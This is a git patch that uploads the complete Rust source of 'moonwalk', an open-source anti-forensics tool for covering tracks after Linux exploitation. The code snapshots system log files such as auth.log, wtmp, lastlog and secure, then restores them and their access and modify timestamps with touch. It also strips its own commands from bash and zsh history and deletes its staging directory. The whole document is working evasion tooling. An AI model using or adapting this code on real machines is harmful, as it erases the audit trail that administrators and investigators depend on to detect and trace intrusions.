From 396917dd67a5d0388b5282e7b167a117f99f3a94 Mon Sep 17 00:00:00 2001 From: Mufeed VH Date: Sun, 19 Dec 2021 16:56:42 +0530 Subject: [PATCH] Upload source --- .github/workflows/release.yml | 58 ++++++++++ .gitignore | 10 ++ Cargo.toml | 16 +++ LICENSE | 21 ++++ README.md | 2 + src/core/clear.rs | 56 +++++++++ src/core/fs.rs | 86 ++++++++++++++ src/core/logger.rs | 211 ++++++++++++++++++++++++++++++++++ src/core/messages.rs | 23 ++++ src/core/mod.rs | 7 ++ src/core/parsers.rs | 55 +++++++++ src/core/recon.rs | 27 +++++ src/core/values.rs | 33 ++++++ src/main.rs | 6 + src/start.rs | 85 ++++++++++++++ 15 files changed, 696 insertions(+) create mode 100644 .github/workflows/release.yml create mode 100644 .gitignore create mode 100644 Cargo.toml create mode 100644 LICENSE create mode 100644 README.md create mode 100644 src/core/clear.rs create mode 100644 src/core/fs.rs create mode 100644 src/core/logger.rs create mode 100644 src/core/messages.rs create mode 100644 src/core/mod.rs create mode 100644 src/core/parsers.rs create mode 100644 src/core/recon.rs create mode 100644 src/core/values.rs create mode 100644 src/main.rs create mode 100644 src/start.rs diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..761eedb --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,58 @@ +name: moonwalk Release Action + +on: + push: + +jobs: + build-ubuntu: + runs-on: ubuntu-latest + + steps: + - name: Checkout + uses: actions/checkout@v2 + + - name: Install latest rust toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + default: true + override: true + + - name: Build for Linux + run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_linux + + - name: Release + uses: softprops/action-gh-release@v1 + if: startsWith(github.ref, 'refs/tags/') + with: + files: | + target/release/moonwalk_linux + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + build-mac: + runs-on: macos-latest + + steps: + - name: Checkout + uses: actions/checkout@v2 + + - name: Install latest rust toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + target: x86_64-apple-darwin + default: true + override: true + + - name: Build for Mac + run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_darwin + + - name: Release + uses: softprops/action-gh-release@v1 + if: startsWith(github.ref, 'refs/tags/') + with: + files: | + target/release/moonwalk_darwin + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..088ba6b --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..ec937a9 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "moonwalk" +version = "1.0.0" +edition = "2018" + +[dependencies] +colored = "2.0.0" +users = "0.11.0" +serde = { version = "1.0.132", features = ["derive"] } +serde_json = "1.0.73" +once_cell = "1.9.0" + +[profile.release] +lto = 'thin' +panic = 'abort' +codegen-units = 1 diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e09bcd1 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Mufeed VH + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5a1e467 --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +# moonwalk +Cover your tracks during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. diff --git a/src/core/clear.rs b/src/core/clear.rs new file mode 100644 index 0000000..06508e6 --- /dev/null +++ b/src/core/clear.rs @@ -0,0 +1,56 @@ +use std::io::Result; + +use super::{ + values, + fs::FileSystem, + logger::TMP_LOG_DIR +}; + +/// Clears every invokation of `moonwalk` from shell history +pub fn clear_me_from_history() -> Result<()> { + const HISTORY_FILES: [&str; 2] = ["~/.bash_history", "~/.zsh_history"]; + + // get current authenticated user + let user = &values::CURR_USER; + + for file in HISTORY_FILES { + let mut file_path: String = String::from(file); + + // parse and resolve `~/` home path + if file_path.starts_with('~') { + let current_user = format!( + "/home/{:?}/", + user.name() + ).replace('"', ""); + + file_path = file_path.replace("~/", ¤t_user); + } + + let mut write_buffer = String::new(); + + if FileSystem::file_exists(&file_path) { + let file_contents = String::from_utf8( + FileSystem::read(&file_path)? + ).unwrap(); + + for line in file_contents.lines() { + let condition = line.contains("moonwalk") || line.contains("MOONWALK"); + + if !condition { + write_buffer.push_str(line); + write_buffer.push('\n') + } + } + + FileSystem::write( + &file_path, + write_buffer.as_bytes() + )?; + } + } + + // finally remove the logging directory + FileSystem::remove_dir(&TMP_LOG_DIR)?; + + Ok(()) +} \ No newline at end of file diff --git a/src/core/fs.rs b/src/core/fs.rs new file mode 100644 index 0000000..cf7c79d --- /dev/null +++ b/src/core/fs.rs @@ -0,0 +1,86 @@ +use std::fs; +use std::io::BufReader; +use std::io::prelude::*; +use std::path::Path; +use std::io::Result; +use std::process::Command; + +use super::parsers::nix_stat_parser; + +use serde::{Deserialize, Serialize}; + +pub struct FileSystem; + +#[derive(Serialize, Deserialize)] +pub struct FileStat { + pub atime: String, + pub mtime: String, + pub ctime: String +} + +impl FileSystem { + /// Returns stat info of files to parse access/modify timestamps + pub fn file_nix_stat(file_path: &str) -> FileStat { + // return file stats from child process + let child_process = Command::new("/bin/stat") + .arg(file_path) + .output() + .expect("failed to execute child process"); + + // parse unix timestamp from fs stats + nix_stat_parser( + String::from_utf8_lossy(&child_process.stdout) + ) + } + + /// Apply timestamps to files using the touch utility + #[inline] + pub fn change_file_timestamp(file_path: &str, stat: FileStat) { + Command::new("/usr/bin/touch") + .args([ + "-a", "-t", &stat.atime, + "-m", "-t", &stat.mtime, + file_path + ]) + .output() + .expect("failed to execute child process"); + } + + /// Returns if a file path exists or not + #[inline] + pub fn file_exists(file_path: &str) -> bool { + Path::new(file_path).exists() + } + + /// Read a file into bytes + pub fn read(file_path: &str) -> Result> { + let file = fs::File::open(file_path)?; + let mut buf_reader = BufReader::new(file); + let mut contents: Vec = Vec::new(); + buf_reader.read_to_end(&mut contents)?; + Ok(contents) + } + + /// Write bytes to a file + pub fn write(file_path: &str, contents: &[u8]) -> Result<()> { + let mut file = fs::File::create(file_path)?; + file.write_all(contents)?; + Ok(()) + } + + /// Create a recursive directory + pub fn create_dir(file_path: &str) -> Result<()> { + if !Path::new(file_path).exists() { + fs::create_dir_all(file_path)? + } + Ok(()) + } + + /// Remove a directory at absolute path + pub fn remove_dir(file_path: &str) -> Result<()> { + if Path::new(file_path).exists() { + fs::remove_dir_all(file_path)? + } + Ok(()) + } +} \ No newline at end of file diff --git a/src/core/logger.rs b/src/core/logger.rs new file mode 100644 index 0000000..17f2a07 --- /dev/null +++ b/src/core/logger.rs @@ -0,0 +1,211 @@ +use std::io::Result; + +use serde::{Deserialize, Serialize}; +use serde_json::{Map, Value}; + +use once_cell::sync::Lazy; + +use super::{ + values, + fs::{FileSystem, FileStat}, + recon::return_wr_dir, + messages::{Type, push_message} +}; + +// set the logging directory inside a world writable directory in the target machine +pub static TMP_LOG_DIR: Lazy = Lazy::new(|| { + format!("{}/.MOONWALK", return_wr_dir()) +}); + +pub(crate) struct Logger; + +#[derive(Serialize, Deserialize)] +struct StatMap { + log_files: Map +} + +impl Logger { + /// Prepares logging directory in a world-writable directory + pub fn init() -> Result<()> { + push_message( + Type::Info, + &format!("Found `{}` as world writable.", *TMP_LOG_DIR) + ); + push_message( + Type::Info, + &format!("Set `{}` as the logging directory", *TMP_LOG_DIR) + ); + FileSystem::create_dir(&TMP_LOG_DIR)?; + Self::save_state()?; + Ok(()) + } + + /// Saves the current state of log files including it's timestamps + pub fn save_state() -> Result<()> { + // get current authenticated user + let user = &values::CURR_USER; + + // initiate a HashMap for saving the current timestamps of log files + let mut file_stat_map = StatMap { + log_files: Map::with_capacity(values::LOG_FILES.len()) + }; + + // save states of all log files + for log_file in values::LOG_FILES { + let mut log_file: String = String::from(log_file); + + // parse and resolve `~/` home path + if log_file.starts_with('~') { + let current_user = format!( + "/home/{:?}/", + user.name() + ).replace('"', ""); + + log_file = log_file.replace("~/", ¤t_user); + } + + if FileSystem::file_exists(&log_file) { + // handle exact fs structure creation under logger directory + let mut path: Vec<&str> = log_file.split('/').collect(); + path.pop(); + let dir_structure = path.join("/"); + + // create the same directory structure moonwalk's tmp dir + FileSystem::create_dir( + &format!("{}{}", *TMP_LOG_DIR, dir_structure) + )?; + + // save target directory path + let save_state_file = format!("{}{}", *TMP_LOG_DIR, log_file); + + // serialize the log file's stat timestamps + let file_stat = FileSystem::file_nix_stat(&log_file); + let stat_time = format!("{}|{}", file_stat.atime, file_stat.mtime); + file_stat_map.log_files.insert(log_file.clone(), stat_time.into()); + + // save the log file's current state of bytes + match FileSystem::read(&log_file) { + Ok(contents) => { + FileSystem::write( + &save_state_file, + &contents + )? + }, + Err(error) => { + // log the file if it's not authorized to access + if error.to_string().contains("Permission denied") { + push_message( + Type::Skipped, + &format!("Logging `{}` requires sudo privileges.", log_file) + ) + } else { + push_message( + Type::Error, + &format!("Couldn't read `{}` because: {}.", log_file, error) + ) + } + } + }; + } + } + + // save a JSON map of all log file's unix timestamps + let json_config = serde_json::to_string_pretty(&file_stat_map)?; + let save_path = format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json"); + FileSystem::write(&save_path, json_config.as_bytes())?; + + push_message(Type::Success, "Saved the current log states."); + + Ok(()) + } + + /// Restore the saved state of log files to clear the modification traces + pub fn restore_state() -> Result<()> { + // get current authenticated user + let user = &values::CURR_USER; + + // retrieve timestamps of files + let read_log_json = FileSystem::read( + &format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json") + )?; + + let file_stat_map: StatMap = serde_json::from_slice(&read_log_json)?; + + for log_file in values::LOG_FILES { + let mut log_file: String = String::from(log_file); + + // parse and resolve `~/` home path + if log_file.starts_with('~') { + let current_user = format!( + "/home/{:?}/", + user.name() + ).replace('"', ""); + + log_file = log_file.replace("~/", ¤t_user); + } + + let fmt_filename = log_file.clone(); + + let read_path = format!("{}{}", *TMP_LOG_DIR, fmt_filename) + .replace('~', ""); + + if FileSystem::file_exists(&read_path) { + // restore the initial states of all logged files + match FileSystem::read(&read_path) { + Ok(contents) => { + match FileSystem::write( + &log_file, + &contents + ) { + Ok(()) => (), + Err(error) => { + if error.to_string().contains("Permission denied") { + push_message( + Type::Skipped, + &format!("Writing `{}` requires sudo privileges.", log_file) + ) + } else { + push_message( + Type::Error, + &format!("Couldn't write `{}` because: {}.", log_file, error) + ) + } + } + } + }, + Err(error) => { + push_message( + Type::Error, + &format!("Couldn't read `{}` because: {}.", log_file, error) + ) + } + }; + + // resolve timestamps of files from stat map + let timestamps: Vec<&str> = file_stat_map.log_files.get(&log_file).unwrap() + .as_str() + .unwrap() + .split('|') + .collect(); + + let atime = timestamps[0]; + let mtime = timestamps[1]; + + let file_stats = FileStat { + atime: atime.into(), + mtime: mtime.into(), + ctime: String::new() + }; + + FileSystem::change_file_timestamp( + &log_file, + file_stats + ) + } + } + + push_message(Type::Success, "Restored initial machine states."); + + Ok(()) + } +} \ No newline at end of file diff --git a/src/core/messages.rs b/src/core/messages.rs new file mode 100644 index 0000000..70ce7bd --- /dev/null +++ b/src/core/messages.rs @@ -0,0 +1,23 @@ +use colored::*; + +/// Logging message types +pub enum Type { + _Warning, + Skipped, + Error, + Info, + Success, +} + +/// Outputs logging messages +pub fn push_message(log_type: Type, message: &str) { + let prefix = match log_type { + Type::_Warning => format!("{}{}{}", "[".bold(), "WARN".bold().yellow(), "]".bold()), + Type::Skipped => format!("{}{}{}", "[".bold(), "SKIPPED".bold().yellow(), "]".bold()), + Type::Error => format!("{}{}{}", "[".bold(), "ERROR".bold().red(), "]".bold()), + Type::Info => format!("{}{}{}", "[".bold(), "INFO".bold().cyan(), "]".bold()), + Type::Success => format!("{}{}{}", "[".bold(), "SUCCESS".bold().green(), "]".bold()) + }; + + eprintln!("{}", format!("{} {}", prefix, message)) +} \ No newline at end of file diff --git a/src/core/mod.rs b/src/core/mod.rs new file mode 100644 index 0000000..be513ee --- /dev/null +++ b/src/core/mod.rs @@ -0,0 +1,7 @@ +pub mod fs; +pub mod logger; +pub mod messages; +pub mod parsers; +pub mod recon; +pub mod clear; +pub mod values; \ No newline at end of file diff --git a/src/core/parsers.rs b/src/core/parsers.rs new file mode 100644 index 0000000..11ef92d --- /dev/null +++ b/src/core/parsers.rs @@ -0,0 +1,55 @@ +use std::borrow::Cow; +use super::fs::FileStat; + +/// Parses the date time format from `stat` to `[[CC]YY]MMDDhhmm[.ss]` format +#[inline] +pub fn nix_timestamp_parser( + timestamp_str: &str +) -> String { + let mut fmt_time = String::with_capacity(15); + let mut start_parse: bool = false; + let mut seek_colon: bool = false; + + for c in timestamp_str.chars() { + if c == ' ' { start_parse = true } + if start_parse { + match c { + '-' | ' ' => (), + ':' => { + if seek_colon { + fmt_time.push('.') + } + seek_colon = true; + }, + '.' => break, + _ => fmt_time.push(c) + } + } + } + + fmt_time +} // hehe + +/// Offloads the required fields from `stat` to parse timestamps +#[inline] +pub fn nix_stat_parser( + stream: Cow<'_, str> +) -> FileStat { + let mut atime = String::with_capacity(15); + let mut mtime = String::with_capacity(15); + let ctime = String::new(); + + for line in stream.lines() { + if line.contains("Access") && !line.contains("Uid") { + atime = nix_timestamp_parser(line); + } else if line.contains("Modify") { + mtime = nix_timestamp_parser(line) + } + } + + FileStat { + atime, + mtime, + ctime + } +} \ No newline at end of file diff --git a/src/core/recon.rs b/src/core/recon.rs new file mode 100644 index 0000000..b7a8c75 --- /dev/null +++ b/src/core/recon.rs @@ -0,0 +1,27 @@ +use std::process::Command; + +use super::fs::FileSystem; + +/// Returns world-writable directories in the target machine +pub fn return_wr_dir() -> String { + let child_process = Command::new("/bin/find") + .args(["/", "-maxdepth", "3", "-type", "d", "-perm", "-777"]) + .output() + .expect("failed to execute child process"); + + let output = String::from_utf8_lossy(&child_process.stdout); + let dir_list: Vec<&str> = output.lines().collect(); + + for dir_path in dir_list { + if dir_path.contains('/') && FileSystem::file_exists(dir_path) { + match FileSystem::create_dir( + &format!("{}/{}", dir_path, ".MOONWALK") + ) { + Ok(()) => return String::from(dir_path), + Err(_) => continue + } + } + } + + String::from("/tmp") // fallback default +} \ No newline at end of file diff --git a/src/core/values.rs b/src/core/values.rs new file mode 100644 index 0000000..a5dad75 --- /dev/null +++ b/src/core/values.rs @@ -0,0 +1,33 @@ +use once_cell::sync::Lazy; +use users::{get_user_by_uid, get_current_uid}; + +pub static CURR_USER: Lazy = Lazy::new(|| { + get_user_by_uid(get_current_uid()).unwrap() +}); + +/// A list of all the common logging files in a UNIX machine +pub static LOG_FILES: [&str; 23] = [ + "~/.bash_history", + "~/.zsh_history", + "~/Library/Logs/DiagnosticReports", + "~/Library/Logs", + "/var/log/messages", + "/var/log/auth.log", + "/var/log/kern.log", + "/var/log/cron.log", + "/var/log/maillog", + "/var/log/boot.log", + "/var/log/mysqld.log", + "/var/log/qmail", + "/var/log/httpd", + "/var/log/lighttpd", + "/var/log/secure", + "/var/log/utmp", + "/var/log/lastlog", + "/var/log/wtmp", + "/var/log/yum.log", + "/var/log/system.log", + "/var/log/DiagnosticMessages", + "Library/Logs", + "Library/Logs/DiagnosticReports" +]; // Thanks https://github.com/sundowndev/covermyass \ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..261d7ff --- /dev/null +++ b/src/main.rs @@ -0,0 +1,6 @@ +mod core; +mod start; + +fn main() -> std::io::Result<()> { + start::init() +} diff --git a/src/start.rs b/src/start.rs new file mode 100644 index 0000000..e328422 --- /dev/null +++ b/src/start.rs @@ -0,0 +1,85 @@ +use std::env; +use std::io::Result; + +use colored::*; + +use crate::core::{ + clear::clear_me_from_history, + logger::Logger, + fs::FileSystem, + messages::{Type, push_message} +}; + +/// CLI interface invoking user commands +pub fn init() -> Result<()> { + let args: Vec = env::args().collect(); + + if args.len() > 1 { + let command = args[1].as_str(); + + match command { + "start" => { + // save current machine log states + Logger::init()?; + }, + "finish" => { + // restore machine state to how it was + Logger::restore_state()?; + // clear every invokation of moonwalk from shell history + clear_me_from_history()?; + }, + "get" => { + if args.len() > 2 { + let filename = args[2].as_str(); + let file_stats = FileSystem::file_nix_stat(filename); + + let command = format!( + "touch -a -t {} -m -t {} {}", + file_stats.atime, + file_stats.mtime, + filename + ); + + let prefix = format!("{}{}{}", "[".bold(), ">".bold().cyan(), "]".bold()); + eprintln!( + "\n{} To restore the access/modify timestamp of this file, use command ↓\n\n $ {}\n", + prefix, + command.magenta() + ); + + // clear every invokation of moonwalk from shell history + clear_me_from_history()?; + } else { + push_message( + Type::Error, + "Please specify the filename to get it's timestamp change command." + ) + } + }, + _ => () + } + } else { + // print a banner to look cool + eprintln!( + "{}", + " + ┌┬┐┌─┐┌─┐┌┐┌┬ ┬┌─┐┬ ┬┌─ + ││││ ││ │││││││├─┤│ ├┴┐ + ┴ ┴└─┘└─┘┘└┘└┴┘┴ ┴┴─┘┴ ┴ v1.0.0 + ".red() + ); + + eprintln!( + "{}\n\n{}{}\n{}{}\n{}{}\n", + "\nUsage".bold().cyan(), + "Start moonwalk:".bold().magenta(), + "\n\n\t$ moonwalk start\n".bold(), + "Finish moonwalk and clear your traces:".bold().magenta(), + "\n\n\t$ moonwalk finish\n".bold(), + "Get the current timestamp of a file to restore it later:".bold().magenta(), + "\n\n\t$ moonwalk get ".bold() + ) + } + + Ok(()) +} \ No newline at end of file